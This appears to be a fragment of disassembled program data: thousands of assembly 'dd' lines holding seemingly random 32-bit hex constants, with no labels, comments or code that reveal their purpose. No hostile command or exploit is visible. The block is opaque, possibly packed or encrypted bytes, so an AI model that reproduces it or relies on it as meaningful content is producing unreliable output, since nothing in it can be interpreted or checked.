		dd 773E4041h, 70850643h, 100633h, 0C60EC36Ah, 714F3682h
		dd 0AFB9C3Eh, 98D9A974h, 0DDA43E00h, 0B8DA41h, 3F34E21Bh
		dd 8D0E82DCh, 4266C703h, 0ED5149AAh, 9818843h, 0A9E6F82Bh
		dd 3377005Ah, 92BEAEDAh, 891E7414h, 70800CC9h, 0DBEBA375h
		dd 1DBC0090h, 711210B2h, 0CB39B77Eh, 60DC0420h,	0E847FF13h
		dd 0FEC2F8Eh, 0D9007111h, 0CBC9871Bh, 646649h, 0CCB6F56Ah
		dd 1A8CB430h, 47299190h, 31009488h, 89DEE572h, 369B0006h
		dd 7595B590h, 30041C8h,	64BED0C1h, 78D77Eh, 5C212511h
		dd 0EEF9F1C4h, 0F402C672h, 0A8C98F30h, 37F4A0FBh, 43A291h
		dd 2C4FD10Bh, 8DFCF568h, 752180E5h, 0B41A491h, 0B47C00ECh
		dd 6F40F303h, 1A0662EDh, 9447FEEh, 58CC03D0h, 0A32FEF90h
		dd 47C8FC0h, 5448E9C0h,	0BD872h, 21F4F290h, 3682D6Fh, 8CC1A800h
		dd 4ABF1D9Fh, 7750688h,	0B8E60802h, 93063900h, 9A996CCCh
		dd 646D4856h, 9E38D03Ch, 61196098h, 4E008BD6h, 0B09F734Bh
		dd 59DF15h, 7B07BC6Eh, 0EF6F5AEAh, 0C05E7800h, 82B2F2A2h
		dd 67360191h, 0B19E8EFCh, 495E283h, 0F5860400h,	2982BBh
		dd 93B7A653h, 0BC4A8CA9h, 730A4E00h, 57B6A0E0h,	0CAA8015Ch
		dd 9C962A2Dh, 0F82890B3h, 9F48418Fh, 0C976D004h, 4883B404h
		dd 9F994234h, 51CCE427h, 40974450h, 64B10444h, 409879EDh
		dd 0CCF6F0C6h, 0D0FE008Eh, 6BD778F3h, 0C00D65Eh, 46059537h
		dd 0AD8C40h, 308A7C86h,	4067F3Eh, 2573ED07h, 0E810B8D2h
		dd 0C076A5h, 1D6A055Fh,	0C7E0402Fh, 6101827Fh, 0E644EB2Bh
		dd 22DCBD38h, 0DAA13E3Eh, 50D2C300h, 0AF966519h, 458D5E03h
		dd 0D876D6BAh, 0C940E0BDh, 0B600C496h, 725D4EB9h, 0AEADD200h
		dd 4ABB43B6h, 0DADD008Ch, 60208751h, 2401CCB0h,	693A3E66h
		dd 0C8D40228h, 0CC8E5042h, 0DBE4A1h, 0B745268Fh, 69479E96h
		dd 30B00400h, 6D66D43Dh, 7C923F6Bh, 1E5BDD80h, 0DC543C12h
		dd 0EDCCB203h, 0D09FD94Ah, 123E1F39h, 1FB49E26h, 0C40CBE10h
		dd 0D528E12Fh, 4AECA00h, 5D0CBF1h, 5B821396h, 1CD91C48h
		dd 77F60061h, 2D08F5F3h, 84439F00h, 0E1E8E5FDh,	0A3C10080h
		dd 0F12C49B1h, 170027FAh, 0AED4FE35h, 0DC0C61Ch, 0C23A851Fh
		dd 0FB6ECC30h
		dd 2F035B1Ah, 55C90042h, 3F29908h, 482BE8DAh, 72C838CBh
		dd 0A63E2F2Ah, 0D97A0049h, 0AB75D546h, 0E0BE0E09h, 0C700D0DBh
		dd 32248E47h, 0F0986C00h, 1B2F7F21h, 35DC1D45h,	5E134025h
		dd 607B193Bh, 0A2B7160Ah, 0E309FCABh, 539D0075h, 47119Ah
		dd 0EA62E409h, 0F3DF79A4h, 0B107C06h, 0ECEE3638h, 0B8D00031h
		dd 863B7B0Ch, 3F002124h, 523870E2h, 392FCAB3h, 76F7ED63h
		dd 4F590739h, 709B73A6h, 0B7767930h, 89BEB800h,	55AD7BA5h
		dd 249673F1h, 0D8DBC6h,	0A49B2D8Dh, 0E50049F6h,	0F47AA7ABh
		dd 241E1Dh, 0EBC9CDC6h,	64F52B58h, 8B00B278h, 737E3D86h
		dd 3BFA71h, 6002202Ah, 0D398119Dh, 4CF7C12h, 30486800h
		dd 193B8BAh, 0C9161E3Dh, 705F28F1h, 0E82818C3h,	0EE008C1Fh
		dd 378AFA86h, 0B78806h,	4F9793BFh, 82B02911h, 619475Ch
		dd 8DBBEC16h, 4A45FC10h, 43BC38h, 0BC2472ADh, 13EA811Ah
		dd 31DE06h, 61B9E628h, 0A500F9F4h, 8F53332Ah, 0ACA7EAh
		dd 79C40686h, 1643011Dh, 3FA49900h, 0C352BB46h,	77FE01F0h
		dd 42265466h, 0ED13E833h, 9C00AB75h, 7AFDA4D4h,	0A9479Dh
		dd 8BE3B5D3h, 0A7391C54h, 3B82A007h, 0CB90F6F5h, 1421DA3Fh
		dd 0A43557B1h, 9EE71C00h, 0D940256Dh, 23779403h, 0B16B3Bh
		dd 24C38F39h, 971C6591h, 0E8DA7330h, 0E59069Eh,	9238B026h
		dd 0E4259FE0h, 0BC0012CDh, 864EC154h, 7CE6066h,	5E895682h
		dd 40285750h, 0CABD97A0h, 0E05B2000h, 737652Eh,	0E15A00A5h
		dd 0BBDBB54Dh, 6701D8FEh, 0AF40DD2Fh, 74C478CAh, 0DC571684h
		dd 0B6FA047Bh, 406C8769h, 0FFE8F7F9h, 6200A490h, 3A1441F4h
		dd 0F4462D36h, 8DA500AAh, 0BF748965h, 0E324439Ch, 0CC0030FEh
		dd 0E48F2813h, 0FDCE09ADh, 24878C36h, 0B07C37BEh, 0D5534E4Dh
		dd 24AC8B01h, 0D3FDDEEBh, 354B3881h, 8738E94Ah,	7B7D8B11h
		dd 3A4E8FD1h, 397C8840h, 0E04D00B3h, 0B9275C7Fh, 6D008997h
		dd 3E409309h, 2478878Fh, 1242F0Ch, 478B6B91h, 81E221ACh
		dd 0FE076DC8h, 442116AEh, 5C88E0h, 0FBD4FCA0h, 0DB7D8EE7h
		dd 1D9C090Fh, 0FE598011h, 0C6DA149h, 4D04553Bh,	6E3B27C8h
		dd 22148F46h, 0D4FB40A7h, 138F2058h, 83D30Eh, 8118E4C2h
		dd 560CFCCBh, 0D0517AC8h, 0DE8B076Eh, 1024B67h,	89E01E3Eh
		dd 0A26FEFA9h, 0C07F80BCh, 3D3A03h, 25411B23h, 0A847C9B2h
		dd 30805C58h, 51401112h, 62DB0014h, 9515D15Dh, 0F09007ACh
		dd 0DC00197Dh, 0FC46F503h, 0D52F3h, 0BB67735Bh,	92527B7h
		dd 0B9075970h, 0BAC5EF8Ch, 13B12EE0h, 0BB1C0452h, 0C09E43AAh
		dd 7AE1C654h, 20F20F00h, 0A832F448h, 0AEDE0060h, 69805A55h
		dd 0E300FD9Eh, 0EC866883h, 4CBDE46Ch, 0E000B05h, 0A3EEE74Eh
		dd 6A4CF00Fh, 6CFE0FB9h, 0C0B340F1h, 89FF24h, 0DD4E513Ch
		dd 5C258359h, 7007A37Fh, 78A93F45h, 0DFA5C830h,	5DD70021h
		dd 16097743h, 20019F37h, 12070CAEh, 0DC80DFAAh,	7614D658h
		dd 2301996Dh, 985E0F89h, 0AFC817CEh, 1F70B020h,	40346237h
		dd 0BEAB3D63h, 9400C1A0h, 0C4B31E69h, 0A57715h,	42DE4901h
		dd 0A75D17Dh, 740E2C1Ch, 76945080h, 7BB1F58h, 0D248BCE6h
		dd 9672424Ch, 0F4688161h, 9400DF78h, 2F07A53Bh,	89481Eh
		dd 207E32FDh, 0FFBB72A6h, 0B694AD00h, 925B4EEBh, 27F00A9h
		dd 3E4B76Fh, 6E007590h,	0D2DABD8Ah, 597C37h, 221A29A5h
		dd 0E4CF7D7h, 4E663F00h, 5F336550h, 904D1D5Dh, 7391807Ch
		dd 25FF6CEAh, 0C9001071h, 9CF3C872h, 0E2954647h, 0B1FC68h
		dd 0F2F766CDh, 93EF506h, 4A6D670Ch, 0C128C9h, 1C3357A6h
		dd 69A77E40h, 72345300h, 145A6322h, 0F4700CCh, 0F3CE1B16h
		dd 5100DBE2h, 949375EAh, 1CB67BAh, 6C2D6B47h, 0F0908A79h
		dd 0D3006096h, 9F4CAB99h, 48525ECh, 7DEF8270h, 5ADCC02Ah
		dd 9B2CC5FCh, 0C89EECC4h, 13473000h, 743B975Ch,	0E6AB24E9h
		dd 0B2BE00E0h, 0A78760E0h, 7F02B798h, 6FD9EEAEh, 275C6882h
		dd 47150F98h, 38612CB0h, 302D2667h, 0D03F978h, 87D680A7h
		dd 0FAB3D0FEh, 58511334h, 40F802A5h, 0A0404FF6h, 2400C7BDh
		dd 3CC566D5h, 705057h, 148E0D1Bh, 1EFDA164h, 0A49AE802h
		dd 0C0324373h, 0F537DCh, 2D46C5ECh, 0D0978A5Ah,	1AB04290h
		dd 32920D16h, 0DEB89001h, 0F875B96Ah, 623BBCCh,	8367CB21h
		dd 4F00C06Ch, 43B53ABAh, 0C9F2EAh, 0C83533A3h, 0B861D974h
		dd 4B10CC00h, 4AE43CFCh, 0E0D80008h, 0B2FE813Ah, 0D575999Ah
		dd 737E53Fh, 0D81B61A0h, 40C4094Eh, 8A56BCh, 0D1BB798Ch
		dd 972AFAF2h, 9E004098h, 1D4611B3h, 32EC0E3h, 32AE6342h
		dd 991D741Fh, 0E9C2B58Ah, 80B07D59h, 684C7CD4h,	40C25C9Ah
		dd 28F53019h, 0B1BCDCFBh, 696F8D01h, 0B76EF95Ah, 0E85B3080h
		dd 0AA43A308h, 52A04B00h, 7C71F2E0h, 215F00D7h,	3DD84163h
		dd 7A00D9DEh, 19A06E88h, 67E7F8h, 5F8D2656h, 0EB51CD0Dh
		dd 0F5FE3600h, 85ECAFCh, 7E407C8h, 0E0A01049h, 5935DE5Dh
		dd 2FA11607h, 0DA604E0Dh, 0ECB83BEDh, 0AD7677h,	73803633h
		dd 53E8BCC6h, 390BF81Dh, 2428CCBCh, 680E4C2Bh, 4F570095h
		dd 39829F34h, 3A025B37h, 77EA18CBh, 6815C4C0h, 0E0A1ED30h
		dd 8A5474h, 8BD33A21h, 26B6489Ch, 0EE6C7500h, 731A83DDh
		dd 0A77D05E5h, 5EF8F7C0h, 0CA1C80ACh, 0C2725CB3h, 0ED8EC509h
		dd 3958002Eh, 30207B59h, 0D102C92h, 0CE26C250h,	0F5043891h
		dd 0C3C04DFFh, 160A5CA6h, 677F9F3h, 0C09757A1h,	79B01C00h
		dd 2E9CDA14h, 0EBEE0067h, 3EAD7396h, 0CF006D06h, 0E0A1D50Ah
		dd 6C4B18h, 8C690D46h, 0D8A9BF75h, 4F6EAB0Eh, 0E500B79Bh
		dd 0C1028B6Ch, 0C7CC008Dh, 52DA466Dh, 31005F8Ah, 79A0143Fh
		dd 745B55E1h, 9120072h,	1964B0A9h, 840043D2h, 0A3788EAFh
		dd 0D942FAh, 1329BDF4h,	0BFFE552Eh, 9C3897F2h, 483B8E36h
		dd 5E9E003Dh, 1E79819h,	127C3B6h, 0E4A958D5h, 263DD37Ah
		dd 9EED0549h, 0F000602Ah, 0A1D1C6D8h, 7F6F2E9Ah, 0D4C80418h
		dd 0EE7C83D0h, 0F04CC0BCh, 50E26D7Dh, 1314E402h, 80D0DF72h
		dd 0B67871ECh, 899CA08Bh, 247601B0h, 2BEADB06h,	0CAD4425Eh
		dd 0DE9C6860h, 0D50B3FF8h, 840AECFCh, 58809FFBh, 18108A53h
		dd 6092CE9Dh, 9C00591Dh, 0F011BED7h, 0EB4AB4h, 0A55B9BC8h
		dd 0F7D6F03h, 0B3008290h, 0E5F75632h, 19884ACFh, 88346A3Ah
		dd 5DEF08B0h, 4A00C4BCh, 0B895FCBEh, 710CE212h,	70FB870Ah
		dd 1744060Dh, 0D03378CDh, 2B400EEAh, 0BE590C9Dh, 5A28F414h
		dd 8118267Eh, 9310F54Ah, 123EC63h, 2F8CCC92h, 20A0A95Eh
		dd 51DCB68h, 6BC05D68h,	5AE0B828h, 357D00C9h, 0A546587Bh
		dd 6255A113h, 1628E4A8h, 872BFE1Eh, 0BB7F2C0h, 1EDEB259h
		dd 0C0FC95F0h, 0B1CB9D6Bh, 4F2C5882h, 0D7006B24h, 8C11BD44h
		dd 2E5E0018h, 2FDB9C17h, 5A022A78h, 8F96C24h, 189C611Dh
		dd 17D919F4h, 478CF7AEh, 0E05365E8h, 25C32473h,	91012DE2h
		dd 0A6661DAAh, 382CF1D5h, 80542B00h, 0CF8F29E0h, 2F242AF2h
		dd 0AB05B9CEh, 84C00C01h, 18FFF16Eh, 100D41F0h,	0EB172ED9h
		dd 2C007CE2h, 4506F407h, 1D5B0E1Ah, 0DD603F8Eh,	0C164B1EBh
		dd 0C4253200h, 0A9D9B49Ah, 0B9330068h, 0EAFDD3ACh, 789E7F0Ah
		dd 77B0B200h, 1CCE188h,	8C267EDFh, 0D4EF35C1h, 30730343h
		dd 3E331D00h, 2A479D72h, 8DA200A3h, 0E1DE2CBBh,	0A700FC52h
		dd 8E7A8A30h, 503A6865h
		dd 0A6DC03h, 36E829D7h,	0F1BF4E7Ch, 4011FB00h, 84833153h
		dd 0A30500C5h, 8DEF4782h, 5C006DEDh, 793EE594h,	1F816AEEh
		dd 0B2C0CAEAh, 50CEF2A8h, 472A0C00h, 6937C194h,	5D2C0336h
		dd 0F659F796h, 0D449EEC0h, 6631DB04h, 0BCE063CCh, 1C96E4C9h
		dd 12C6ADBFh, 6C28015Ch, 0ECF40131h, 100F63F7h,	490C5A12h
		dd 9A098013h, 0DFEEA1h,	0A7687982h, 0B8FD2EB5h,	0CC983074h
		dd 0E87A041Fh, 8AA4CE43h, 63678049h, 0D6821F66h, 641A8352h
		dd 6BE8222Ch, 0BC057C35h, 32F18BDAh, 1AB668D0h,	0C33B3FD2h
		dd 276CA580h, 9B1092F8h, 2539BB00h, 0FB835508h,	2C3B00AEh
		dd 8A6DE66Eh, 0DD3EB691h, 0FA5A8079h, 923EF121h, 0B23B0064h
		dd 85327895h, 10580603h, 8C8F008Bh, 0C71927B1h,	246700EEh
		dd 1CCA9C56h, 0FAEC0709h, 60DB0E00h, 803EF7C3h,	58171FEEh
		dd 0FC04BA88h, 87E4859Dh, 8E4A0094h, 0B1F9915h,	0DFC0C129h
		dd 132A651Bh, 71DD038Ch, 5194A7Bh, 0A52553E0h, 81E02900h
		dd 0F6804BB8h, 9BE300C4h, 8A8CF9D0h, 442CFAC8h,	1600AC20h
		dd 6C2B5E67h, 38C918CFh, 25B01123h, 60AD6200h, 3DD1BDCDh
		dd 75BA00A8h, 2B260A0Bh, 0FC00A30Dh, 494432Dh, 601DABh
		dd 1B99B8C5h, 355D9F83h, 0B22BBB00h, 5F703CEh, 0C348C25Ah
		dd 0C805C79Eh, 386B6040h, 3D6C868Fh, 0B9007808h, 0AADEF98Bh
		dd 5B1614E3h, 3001BE0Ah, 99E70EAh, 30C7FCE4h, 0F6F0046Eh
		dd 0E3E81303h, 0BFB57500h, 51096C6Ah, 0E8BD00C1h, 0D3369498h
		dd 0A8006757h, 524E3AF1h, 39103B8h, 809C26F0h, 74A0E7BEh
		dd 5800C847h, 6AB4ED53h, 0C114ADh, 255FF90Ah, 8C8E4405h
		dd 9A4E7700h, 82E8C2B8h, 0C3D80089h, 87199C6Ah,	79000D99h
		dd 0EBD59616h, 1DC21D4Ch, 0C0622971h, 54383A55h, 230146A8h
		dd 6B3E277Ch, 0AAD0128Fh, 174300D5h, 0C466E578h, 4500ECAEh
		dd 382851A3h, 0DFDAE479h, 0AA700020h, 3E2B7471h, 751E0839h
		dd 61D11800h, 0BDB7A0B4h, 0E5130062h, 362FFF11h, 8E00D97Ah
		dd 83745658h, 9B0B8Fh, 193B7C8h, 7538F54Fh, 82633209h
		dd 67A5832Ah, 66A887Bh,	0D11C00C9h, 5D69D8ECh, 0A50E1622h
		dd 23AFCE11h, 0F0C124B6h, 728F6Eh, 9E020A9Fh, 658BB404h
		dd 20BC4900h, 0BEDA1381h, 649285h, 77DC1AD7h, 0A07B4CA9h
		dd 0D57EBCE0h, 282D8624h, 56D5C58h, 39D7BB0h, 18D918E3h
		dd 1B007FB8h, 3CA80986h, 33D90Eh, 0F1766659h, 0D5DB087Ah
		dd 75783872h, 9BF57E01h, 0D777B779h, 176E1DCh, 0BB9190AAh
		dd 0F4382175h, 803F63Bh, 0B03A8D8Ah, 9487A83h, 0E24DE958h
		dd 0D6D85038h, 4A4F8E00h, 5E8B784Eh, 0F4C0007Eh, 3E056EEh
		dd 0C20002A6h, 1CEBAFEAh, 5C08DCh, 2A0BDF76h, 65D89627h
		dd 8E832B07h, 5FC07F12h, 2336988h, 0CB20BF77h, 0CC881A4Dh
		dd 6DF001ECh, 0E53A1835h, 4FB3D0E1h, 0F1136600h, 2EAD97AEh
		dd 7CBE00BDh, 1B7DE7BBh, 0B006E26h, 33A5827Ah, 1A9B4EFh
		dd 924A538Eh, 0CCD4B8FEh, 8900F7A3h, 3A3B4D37h,	2BC60h
		dd 0BA9476AAh, 0DC7D6271h, 0CF8E5A00h, 0DFE80BE3h, 59820055h
		dd 20B205A8h, 99EE6322h, 6C389578h, 0D7B601B3h,	8E73DD9Fh
		dd 198F140h, 0B62043Fh,	0C7E8F4E1h, 0F21AD178h,	8187101Dh
		dd 0F97D7Ah, 0FE9C1121h, 402C7FBCh, 0B8F5A628h,	4598B00h
		dd 4EF306C3h, 0F840093h, 347ED50Eh, 660090EBh, 58978925h
		dd 0FE20F4h, 1A43CF5Dh,	379FB5Ah, 0DF03C37Dh, 0D059F17Bh
		dd 52E2F8BAh, 0AD7D0784h, 3FAF9EDh, 90B8D91Eh, 0AF006720h
		dd 55DB8A4Ch, 38D00E06h, 21039EC4h, 2A3CE6E5h, 2BD4F3C8h
		dd 0FF009570h, 3AF7C20Ah, 0B82940h, 7F189A5Bh, 4D1A8BADh
		dd 0EA9CC300h, 3CA3DFD6h, 0D30A0396h, 0ADB49927h, 0E76A0DE0h
		dd 1186D10Eh, 0AA300D2h, 72046509h, 0BBCC01BFh,	0BD83DDC7h
		dd 717FF048h, 17A58C00h, 4C949C3Fh, 566B248Fh, 6028E0h
		dd 1D632BF8h, 692F35D3h, 0ACE2FB3Fh, 0A10028D1h, 7AE0AB58h
		dd 1C16FABDh, 0E4576B7Ch, 0A7176Fh, 0F6D261F7h,	0C8005E1Ah
		dd 0DBFAB0C0h, 0B07B9A1Dh, 0F490ECh, 0F5666C90h, 0E2E9A852h
		dd 0B515670Ch, 625C80A0h, 0B9C410FAh, 4D806A27h, 48E613h
		dd 0EBCF734Ah, 36064104h, 86FD41Eh, 0E7029900h,	0B7398Dh
		dd 41AFFAF0h, 0B7347C2h, 0D90E6230h, 0E6B2438Eh, 0D38C005Eh
		dd 8606F836h, 0C8008341h, 0B0B71D66h, 6092181Fh, 960B3035h
		dd 8000C195h, 0EA5EFE59h, 74FD25h, 16655210h, 88BBDBDCh
		dd 0D3EFA900h, 3FE25A3Bh, 0F892041Fh, 0C499823Ch, 37E5C02Ah
		dd 0B35898C4h, 3684004Fh, 68437BB4h, 6B8300EAh,	0EED138D2h
		dd 770239F9h, 1A5BC8A1h, 935C8110h, 38DC65BCh, 88990012h
		dd 325FD6Bh, 0DA0028E5h, 0FF1D56AEh, 2C1CB7h, 920275C6h
		dd 0D1D9633Ah, 5FC84260h, 5E0866Ch, 0DA5E7A8Fh,	8EC40797h
		dd 23801E17h, 0A034B9Ah, 0F4302560h, 0B0BDB9C7h, 0D39335B6h
		dd 1CE40120h, 4E620A44h, 21933F20h, 0EFC08210h,	1B60043Bh
		dd 0E36085BAh, 0B2BB0B39h, 1DD303D8h, 347D4A6h,	0BC01092Ah
		dd 0D90ADB1Eh, 0B6900AFCh, 8B41C8EEh, 8E0E91Dh,	39DE7061h
		dd 76007B11h, 0B84F5B91h, 5700B48Ch, 0B622732Bh, 14A3C7F6h
		dd 88019294h, 2AD7510h,	36E70976h, 87B0800Ch, 49834C0Bh
		dd 0D5018099h, 0E6C557D4h, 0F66FC5Ah, 79D6123Ah, 53421C0h
		dd 1683257h, 6341FD70h,	0BF430A6Dh, 0D2F018A0h,	0A1A9E729h
		dd 53F1AFCCh, 0C0884400h, 0B59B28C1h, 0D9F47B0Eh, 8743106h
		dd 5392EFE0h, 1EA1FD90h, 0C3984CE4h, 1DDED904h,	0CE33D6EEh
		dd 2300217Dh, 2A4258D9h, 3E61A850h, 0A47E9086h,	57DD026Ch
		dd 0D6E2E6C0h, 4F12FE19h, 0AD420009h, 306D47ABh, 0F9619D8Bh
		dd 0E5003CE9h, 5796E29h, 760B498h, 0FB595216h, 750D90A0h
		dd 1712942Dh, 5C410312h, 377A3CABh, 198740C8h, 876F682h
		dd 3604341Dh, 0E000737Eh, 0C6957113h, 35F2802h,	938D9B06h
		dd 28405292h, 0F48C42D0h, 0F01F0A5Ch, 0E564A84Ah, 0BEC8C03Ah
		dd 48006EE0h, 0A288F6EDh, 0DC760DB7h, 2F1A8379h, 0C69B2312h
		dd 486023h, 0E6B957D8h,	4486AFBAh, 80058C4h, 0FFE87557h
		dd 91907AB4h, 18817920h, 22DB3F45h, 7E95B101h, 22FAD94Bh
		dd 174409F8h, 0AE1420C1h, 3815D24h, 33064BF1h, 4918802Fh
		dd 0DFD1480Dh, 714D03C7h, 10B8AEECh, 0F1EF2FE0h, 30C45A30h
		dd 0ED1FA0h, 0D082EB06h, 0C56ADC75h, 0BCDB61C0h, 65C2250h
		dd 5491678Ah, 6C340842h, 91802076h, 1D559550h, 0C39E5635h
		dd 0C06E6A48h, 0F38A80F8h, 0BC6C3300h, 15E2D066h, 78C800D4h
		dd 9D038F3Fh, 0AF0F3E87h, 80D58870h, 1942C18h, 0A14B06FBh
		dd 865633Fh, 3887BE30h,	2945B2Eh, 9CA756F4h, 810978D5h
		dd 0F7BA87BFh, 171D3ECh, 3182A54Ch, 60614E32h, 0EA723303h
		dd 1E09AB03h, 1862278Ah, 59BABB38h, 85002F2Ah, 0BCA7342Ch
		dd 905CDCh, 0A6CE6044h,	879AA1FCh, 71543252h, 0E6FD9408h
		dd 408FC42Bh, 1B946622h, 3AEB0329h, 0E51023E9h,	0B788F83Fh
		dd 0B180B946h, 1D62530Ah, 2824AC3Dh, 2314688h, 0E78A942Fh
		dd 108B3153h, 0F9460A3h, 0B49AD3F3h, 0EE7FDF83h, 0CEBA691Eh
		dd 0BFBEABC1h, 0BC50F55Bh, 148C39h, 0A63C9BCAh,	56721285h
		dd 4D1F4800h, 1CD304A2h, 0E790002h, 9E2C2971h, 0E5FDC8EAh
		dd 0F55980DFh, 761DB0FDh, 82D50797h, 43D4FF6Eh,	2000CB8Ch
		dd 74BE9414h, 595C83h
		dd 0C235B0EDh, 0B13FA67Eh, 296A0437h, 2076FD50h, 0D559C53Ch
		dd 0A4B80028h, 54F0C32Bh, 1FD06A03h, 39E48C0Ah,	0A68A96F0h
		dd 74C833FDh, 9B008446h, 606AE5EFh, 3500FBD2h, 0D6D76305h
		dd 64964AF3h, 8255997Fh, 0A4AE2054h, 51A2D461h,	0A8A05084h
		dd 4A5C65DAh, 0B45C03D7h, 0A369C010h, 562100EBh, 7D56433h
		dd 9700BA6Ah, 3F081CB8h, 30EE7BA9h, 0D2990E1h, 3062A63h
		dd 0B1BA96EBh, 9A4819h,	0C030E6BDh, 1AD0E658h, 0C0C4B191h
		dd 27F4A820h, 90000B8Fh, 670F3E30h, 3A71003h, 0ADD8813Ah
		dd 4878E3C0h, 9D5D780Ch, 683924h, 5ADD444Bh, 0B280BB97h
		dd 30C57F3Ah, 73F3216Fh, 95F80044h, 0AD65EB4Eh,	0D7078EA5h
		dd 0CF7A778Ah, 78269670h, 0D06598D0h, 3810A4F1h, 65CCC050h
		dd 43C00E40h, 0D5191069h, 64240072h, 13CA08D4h,	0EC3AB225h
		dd 5BF1F28h, 38204100h,	342CE7Fh, 3C9D5201h, 0A16433E0h
		dd 41605FD0h, 5B10DF44h, 0D7C8A8C7h, 44728980h,	0FB13B18h
		dd 7723F3C3h, 842B6987h, 6EA8889Ah, 0CAEAB007h,	0ACD082AFh
		dd 14DFAD5Eh, 0A0D7FCE7h, 8CD7BCh, 0C06F0276h, 0AC6ECF17h
		dd 7BBA4215h, 0DAD800FCh, 41041C35h, 1848E05Dh,	41253D20h
		dd 1D00135Ah, 0F255CF26h, 243A4E81h, 7301662h, 0AAE5199Ch
		dd 9D5D1C88h, 0B1180E4Bh, 1E888DE0h, 0BC00C374h, 30B0133h
		dd 3C5B77h, 2F818651h, 18907502h, 27DD0D1Eh, 8D847A07h
		dd 0DBA395C0h, 0DA06054Fh, 0C1BFBD1Eh, 80FF30EAh, 6231B240h
		dd 338C747h, 4F3A1F15h,	1EEA33A1h, 48EA8A00h, 0C9702Bh
		dd 54933C90h, 3804E29Dh, 23EB1B0Fh, 0B0C01CB9h,	8E1691AEh
		dd 43AB00DCh, 0B6A699B2h, 337F892Fh, 0E764841Ch, 0F447BC07h
		dd 0EC833F50h, 0B95C0059h, 0C63C34E3h, 0F500176Fh, 72D6944Eh
		dd 161E7DBh, 5BF8C98Eh,	80DF8621h, 0CBC0E2C1h, 0B04E9Fh
		dd 90D661AAh, 2001060Dh, 7451991Fh, 5C1E3540h, 5258A8Eh
		dd 0A4B9A7E3h, 0E8AA05C2h, 37EEC021h, 80C05C90h, 7148779Dh
		dd 25B23FF8h, 0FAF35980h, 0EE9585CBh, 0B43248h,	0A01E0C4Eh
		dd 677EC6Ah, 0BE7C4883h, 8C0316E6h, 0BF33518Bh,	0F2C00216h
		dd 8908F930h, 325A080h,	3D001418h, 48E95B9Bh, 1810AD38h
		dd 805A2697h, 9900691Bh, 3F534403h, 12A116h, 0E83B0F5Eh
		dd 845C9581h, 198B5400h, 0B8824B2h, 0D2C1C07Fh,	2AC6C2AFh
		dd 56C04C50h, 28E3200h,	9395B551h, 72501D10h, 62C280D9h
		dd 0BF75BDD8h, 5AE7A202h, 911603h, 9B6C349Dh, 10EB2B00h
		dd 0BE27D085h, 20A81507h, 7D0080F3h, 23665D76h,	0E00010CDh
		dd 59AEC928h, 60DB5E62h, 0EA718039h, 0B905BB46h, 0F44F1D9h
		dd 7819E053h, 43D8CFC0h, 345901D1h, 7DCD8D1Ah, 0F1DC8A2h
		dd 0E5E55A40h, 2E24E040h, 96C3038Dh, 86A1336Ah,	55181998h
		dd 0A548B500h, 0E92304E7h, 97441C94h, 74680DFh,	4A9DF1D2h
		dd 2C3340C0h, 24139h, 1CCB7960h, 0BD1219A2h, 46502D00h
		dd 99DF0BD2h, 0CE103CFh, 52734235h, 1921FAD0h, 72A4DB09h
		dd 0ABD0E2Eh, 0E0E8EDCh, 6D2320E7h, 957EF4h, 9D6BFE4h
		dd 0B461692Eh, 937AF90Eh, 240C20BCh, 39CAA9FBh,	6E00EB75h
		dd 5972FCD8h, 0B57F25F5h, 21BD7B1Dh, 5C034070h,	5ACB4CA2h
		dd 0CEB31800h, 0A7742986h, 0AA320400h, 548B77D2h, 6EF7000Fh
		dd 4E576C3Dh, 7228AB1Eh, 0A16E05Bh, 7C04152Ch, 0EA00D51Bh
		dd 1A14E73Ah, 3C325426h, 7FE5AB81h, 66E12D85h, 4A017836h
		dd 4F5BDA44h, 893C0CC5h, 25B030F2h, 0FEE7400h, 17C90B05h
		dd 0BF5B2CC8h, 96CE8F64h, 48098AC0h, 4E000D65h,	0FD821CF3h
		dd 415D8Ch, 0D7D48990h,	0BA190B7Bh, 0E000F27Ah,	24D8E4C8h
		dd 18483694h, 7065A32Ch, 0DD133A5Bh, 880BF0CFh,	2D4F8079h
		dd 1EF5A1E0h, 0A5CD1Dh,	0E1F38568h, 790AF087h, 202D5448h
		dd 430A8F70h, 52EA002Eh, 0D83F117Ch, 5E7D95h, 0D1ED7E92h
		dd 4DC5D9A1h, 69992303h, 0F8425A72h, 679C0FDBh,	0C10870DCh
		dd 0F03FBAEAh, 490CCD4Dh, 10843A01h, 90DC5894h,	0A22F6D06h
		dd 709830B0h, 4070DE1Ah, 0E47067F0h, 0D029606Fh, 0F0225457h
		dd 78BC5D85h, 4C1FB900h, 6A385F39h, 967F9801h, 0C85CEB8Fh
		dd 85A2B473h, 7EE96C30h, 0FE800009h, 0F775CDAh,	0A8A0F034h
		dd 79C0BD68h, 63EF1F44h, 0FA00C85h, 0ED20F4ACh,	0F679B8B9h
		dd 839B518h, 834780DCh,	8CFB5DC9h, 1C524835h, 61C8EA01h
		dd 803C959Ah, 150B0710h, 6C87CBh, 8EA2A168h, 0A3F936C3h
		dd 18DEB3Ch, 34D3603Ah,	10D0BA11h, 3D5D0035h, 68E47A56h
		dd 0A9006C58h, 2B09879Bh, 0ECCC6h, 88927991h, 0F1DCAC1Bh
		dd 8CF46602h, 8A9217Eh,	4C18DC04h, 7110B0B3h, 6D2501A6h
		dd 0CE5AF5B7h, 978080A9h, 4CF351F7h, 369B0348h,	33F88BFFh
		dd 8DE2921h, 0AC90056Eh, 423E8484h, 2AED9A2h, 0C027EE2Eh
		dd 3C6288B8h, 401E8691h, 4D26430Dh, 0C89071C7h,	0B000201Eh
		dd 0DD9AE4D6h, 151DB4h,	3E62024Eh, 73C23334h, 0E0AB4C00h
		dd 63D6D09Bh, 0D3800DFh, 758EA47Bh, 0B000A6DEh,	81C56559h
		dd 5B97E137h, 14BA0E5h,	8C346000h, 0C87D8479h, 0FD3D000Ah
		dd 5F865482h, 4D004F9Eh, 9CC4BBEEh, 6E8D50h, 0E69179D0h
		dd 5B080339h, 58E7A700h, 713AA4E5h, 5DC50047h, 0D4DA8E2Ah
		dd 360B99E9h, 8527C49Dh, 0C0406D05h, 35A2F33Bh,	171D3A24h
		dd 8A80B4BCh, 933EBB43h, 41E60B2Ah, 0D0944F00h,	8FC6ED6Eh
		dd 21801E04h, 7EA9401Ch, 9E33DA87h, 7B01A2F6h, 227890D4h
		dd 46FC1121h, 3D598D6h,	0AADAB975h, 8008B6E0h, 3DD1B62h
		dd 8D787AB0h, 8703C4C0h, 0D4062F00h, 0B48C822h,	935E1DA9h
		dd 0B89EDD19h, 810CA400h, 0F7E244ECh, 0B0035372h, 0C1E05B8Dh
